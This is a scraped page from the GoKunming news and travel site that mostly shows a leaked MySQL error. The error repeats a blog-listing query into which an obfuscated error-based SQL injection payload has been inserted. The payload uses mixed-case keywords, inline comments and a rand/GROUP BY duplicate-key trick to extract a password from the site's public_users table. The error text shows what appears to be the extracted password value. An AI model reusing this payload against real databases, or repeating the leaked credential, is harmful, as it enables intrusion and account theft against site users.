SELECT
                c.blog_id,
                c.category_id,
                c.user_id,
                c.title,
                c.content,
                c.content_stripped,
                a.display_name,
                c.ts,
                COUNT(com.comment_id) AS num_comments,
                MAX(com.ts) as comment_ts
                
                FROM blog_content c
                LEFT JOIN blog_comments com ON (c.blog_id = com.blog_id AND com.live = 1)
                LEFT JOIN admin_users a ON (c.user_id = a.user_id)
                
                WHERE c.ts < NOW()
                 AND c.ts >= NOW() - INTERVAL (/**/sElEcT 1 /**/fRoM(/**/sElEcT count(*),/**/cOnCaT((/**/sElEcT(/**/sElEcT(/**/sElEcT /**/cOnCaT(0x217e21,ifnull(password,char(32)),0x217e21) /**/fRoM gokunming.public_users /**/lImIt 25902,1)) /**/fRoM information_schema./**/tAbLeS /**/lImIt 0,1),floor(rand(0)*2))x /**/fRoM information_schema./**/tAbLeS /**/gRoUp/**/bY x)a) MONTH
                
                AND properties & 1  GROUP BY c.blog_id ORDER BY c.ts DESC, Duplicate entry '!~!e4uO3dyy4J!~!1' for key 'group_key'
SELECT
                c.blog_id,
                c.category_id,
                c.user_id,
                c.title,
                c.content,
                c.content_stripped,
                a.display_name,
                c.ts,
                COUNT(com.comment_id) AS num_comments,
                MAX(com.ts) as comment_ts
                
                FROM blog_content c
                LEFT JOIN blog_comments com ON (c.blog_id = com.blog_id AND com.live = 1)
                LEFT JOIN admin_users a ON (c.user_id = a.user_id)
                
                WHERE c.ts < NOW()
                 AND c.ts >= NOW() - INTERVAL (/**/sElEcT 1 /**/fRoM(/**/sElEcT count(*),/**/cOnCaT((/**/sElEcT(/**/sElEcT(/**/sElEcT /**/cOnCaT(0x217e21,ifnull(password,char(32)),0x217e21) /**/fRoM gokunming.public_users /**/lImIt 25902,1)) /**/fRoM information_schema./**/tAbLeS /**/lImIt 0,1),floor(rand(0)*2))x /**/fRoM information_schema./**/tAbLeS /**/gRoUp/**/bY x)a) MONTH
                
                AND properties & 1  GROUP BY c.blog_id ORDER BY c.ts DESC LIMIT 0, 10, Duplicate entry '!~!e4uO3dyy4J!~!1' for key 'group_key'
News, Travel and Feature Articles - GoKunming
Tenwest Mandarin School

News, Travel and Feature Articles

Cancel search
RSS feed